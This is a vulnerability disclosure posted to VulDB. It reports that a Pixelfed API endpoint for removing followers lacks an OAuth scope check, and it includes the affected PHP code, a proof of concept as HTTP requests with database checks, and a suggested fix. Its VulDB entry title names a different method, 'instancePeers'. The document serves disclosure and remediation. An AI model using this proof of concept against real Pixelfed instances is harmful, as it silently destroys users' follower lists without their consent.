| Title | pixelfed commit f0ac4aa Missing Authentication |
|---|
| Description | OAuth Scope Bypass Allows Unauthorized Removal of Followers
### Summary
The `POST /api/v1/accounts/{id}/remove_from_followers` endpoint in Pixelfed's Mastodon-compatible API does not enforce any OAuth token scope. An attacker who holds a `read`-only OAuth token for a victim account can silently remove any of the victim's followers, a destructive action that should require `follow` (or `write`) scope. This is a scope-bypass flaw analogous to the one addressed in GHSA-gccq-h3xj-jgvf, applied to an endpoint that was not covered by that fix.
### Details
- Tested commit: f0ac4aa (main branch as of 2026-05-20)
- Affected file: `app/Http/Controllers/Api/ApiV1Controller.php`
Pixelfed implements Mastodon-compatible OAuth scopes. After the GHSA-gccq-h3xj-jgvf patch, most write endpoints correctly verify the token's scope before acting. The `accountRemoveFollowById` method (handling `POST /api/v1/accounts/{id}/remove_from_followers`) was omitted from that fix. It checks only that a user is authenticated:
```php
// app/Http/Controllers/Api/ApiV1Controller.php (line 4690)
public function accountRemoveFollowById(Request $request, $id)
{
abort_if(! $request->user(), 403); // authentication check only
$pid = $request->user()->profile_id;
$exists = Follower::whereProfileId($id)
->whereFollowingId($pid)
->first();
abort_unless($exists, 404);
$exists->delete();
// ... cache invalidation and ActivityPub dispatch
}
```
### Steps to reproduce
### PoC
The following reproduces the issue against a local Pixelfed instance (commit f0ac4aa).
#### Environment
```
Pixelfed commit f0ac4aa running in Docker (docker-compose.yml from repo)
Two local users: alice (user_id=1, profile_id=962592366809239553)
bob (user_id=2, profile_id=962592387637899265)
```
#### Steps
**1. Create a read-only OAuth token for Alice (the victim account)**
```
POST /oauth/token
{
"grant_type": "password",
"client_id": "1",
"username": "[email protected]",
"password": "...",
"scope": "read"
}
```
(Token can also be created via `$user->createToken('name', ['read'])` in Tinker.)
**2. Confirm the token cannot perform follow actions (scope correctly enforced)**
```
POST /api/v1/accounts/962592387637899265/follow
Authorization: Bearer <alice_read_only_token>
HTTP/1.1 403 Forbidden
```
**3. Bob follows Alice (establishes a follower relationship)**
```
POST /api/v1/accounts/962592366809239553/follow
Authorization: Bearer <bob_full_scope_token>
HTTP/1.1 200 OK
{"id":"962592366809239553","following":true,...}
```
Confirmed in database:
```sql
SELECT COUNT(*) FROM followers WHERE following_id = 962592366809239553;
-- follower_count: 1
```
**4. Exploit: remove Bob from Alice's followers using Alice's read-only token**
```
POST /api/v1/accounts/962592387637899265/remove_from_followers
Authorization: Bearer <alice_read_only_token>
Accept: application/json
HTTP/1.1 200 OK
{
"id": "962592366809239553",
"following": false,
"followed_by": false,
...
}
```
**5. Verify follower was removed**
```sql
SELECT COUNT(*) FROM followers WHERE following_id = 962592366809239553;
-- follower_count: 0
```
Bob has been removed from Alice's followers using a token with only `read` scope.
## Suggested Fix
Add a scope check at the top of `accountRemoveFollowById`, consistent with the adjacent follow/unfollow methods:
```php
public function accountRemoveFollowById(Request $request, $id)
{
abort_if(! $request->user() || ! $request->user()->token(), 403);
abort_unless($request->user()->tokenCan('follow'), 403); // add this line
// ...
}
```
### Impact
An application that requests only `read` scope (appearing to be a read-only integration) can exploit this to permanently remove any or all followers from the authorizing account. Practical scenarios include:
- A malicious third-party app that requests minimal permissions but covertly destroys the victim's follower list.
- An attacker who obtains a `read`-scoped access token (e.g., via token leakage) and uses it to perform destructive social-graph modifications without needing `follow` or `write` scope.
|
|---|
| Source | ⚠️ https://github.com/pixelfed/pixelfed/issues/6643 |
|---|
| User | geochen (UID 78995) |
|---|
| Submission | 08/23/2026 15:43 (27 days ago) |
|---|
| Moderation | 09/19/2026 11:17 (27 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 407919 [Pixelfed up to 0.12.11 OAuth Scope ApiV1Controller.php instancePeers ID missing authentication] |
|---|
| Points | 20 |
|---|